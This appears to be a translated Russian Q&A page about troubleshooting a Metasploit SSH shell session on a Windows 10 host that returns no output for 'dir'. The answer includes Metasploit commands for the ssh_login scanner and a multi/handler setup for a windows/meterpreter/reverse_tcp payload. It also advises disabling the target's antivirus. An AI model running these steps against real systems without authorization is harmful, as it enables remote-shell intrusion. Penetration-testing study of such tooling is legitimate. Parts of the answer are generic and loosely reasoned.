Вопрос или проблема
В общем, я пытаюсь создать SSH-сессию в Metasploit. Сессия открывается успешно, когда я выполняю sessions #
, выводит [*] Начинаю взаимодействие с 4...
, но когда я выполняю dir, результатов нет.
Как я это делаю?
use scanner/ssh/ssh_login
set USERNAME имя_пользователя
set PASSWORD пароль
set RHOSTS x.x.x.x
exploit
[*] Открыта сессия командной оболочки 4 (x.x.x.x:x -> x.x.x.x:x) в 2019-06-18 13:29:53 -0400
[*] Просканировано 1 из 1 хостов (100% завершено)
[*] Выполнение вспомогательного модуля завершено
#sessions
Активные сессии
===============
Id Имя Тип Информация Запрос
-- ---- ---- ----------- ----------
4 shell windows SSH x:x (x.x.x.x:22) x.x.x.x -> x.x.x.x:22 (x.x.x.x)
Примечание: IP-адреса были заменены на x
Теперь, когда я делаю:
msf5 auxiliary(scanner/ssh/ssh_login) > sessions 4
[*] Начинаю взаимодействие с 4...
dir
ОС сервера:
Microsoft Windows [Версия 10.0.14393]
(c) 2016 Microsoft Corporation. Все права защищены.
Клиент: Kali Linux x64
Хотя вы не предоставляете достаточно информации о целевой системе, чтобы быть уверенным, такое поведение часто наблюдается при подключениях, которые на самом деле не являются сессиями Meterpreter (например, когда nc
подключается к вашему слушателю).
Мой лучший догадка заключается в том, что фаервол или антивирус на хосте приостановил процесс после начального соединения, потому что полезная нагрузка Meterpreter была обнаружена.
Ответ или решение
Судя по вашему описанию, вы успешно открыли сеанс SSH с использованием Metasploit, однако команда dir
не отображает никаких результатов. Это поведение может возникнуть по нескольким причинам, которые я постараюсь обсудить и предложить возможные решения.
-
Тип сеанса: Судя по вашему выводу, вы открыли обычный шелл (Command shell) через SSH, а не сеанс Meterpreter. Это может объяснить, почему команды не работают как ожидалось. Традиционные команды, такие как
dir
, могут не предоставлять вывод, если сеанс не настроен должным образом.Чтобы получить полноценный Meterpreter-сеанс, вам нужно использовать метапейлоуд для создания соединения. Убедитесь, что ваша целевая система имеет установленный и запускаемый Meterpreter payload. Если это возможно, попробуйте использовать такой подход:
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST ваш_IP_адрес set LPORT 4444 exploit
Затем на целевой машине вам нужно запустить исполняемый файл с Meterpreter payload.
-
Проблемы с разрешениями: На целевой машине могут быть включены ограничения, которые препятствуют исполнению команд. Например, в Windows может быть антивирусное ПО или брандмауэр, запрещающие выполнение удаленных команд. Проверьте, разрешены ли команды на целевой машине.
-
Обработка соединения: Если firewall или антивирус на целевой стороне обнаруживает трафик или процессы, исходящие из вашего сеанса, это может привести к блокировке. Попробуйте временно отключить антивирус или внести ваши IP-адреса в белый список, чтобы проверить, сохраняются ли проблемы с соединением.
-
Использование альтернативных команд: Если вы получаете доступ только через обычный шелл, попробуйте использовать другие команды для взаимодействия. Например, вместо
dir
, можно использоватьpowershell
, чтобы вызвать командлеты или выполнять сценарии:powershell -Command "Get-ChildItem"
-
Тестирование локального соединения: Убедитесь, что у вас есть доступ к целевой машине, протестировав локально, выполняя команды напрямую. Если локально команды работают, но через SSH нет, это подтверждает наличие проблем с сетью или конфигурацией соединения.
-
Отладка подключения: Метасплойт предоставляет логи, которые могут помочь отследить, что происходит при взаимодействии. Проверьте логи, чтобы выявить ошибки или предупреждения, которые могут указывать на проблему.
Заключение: Попробуйте использовать Meterpreter payload для более полного взаимодействия с целевой системой. Если проблемы сохраняются, проверьте сетевые настройки и защитные механизмы на целевой машине.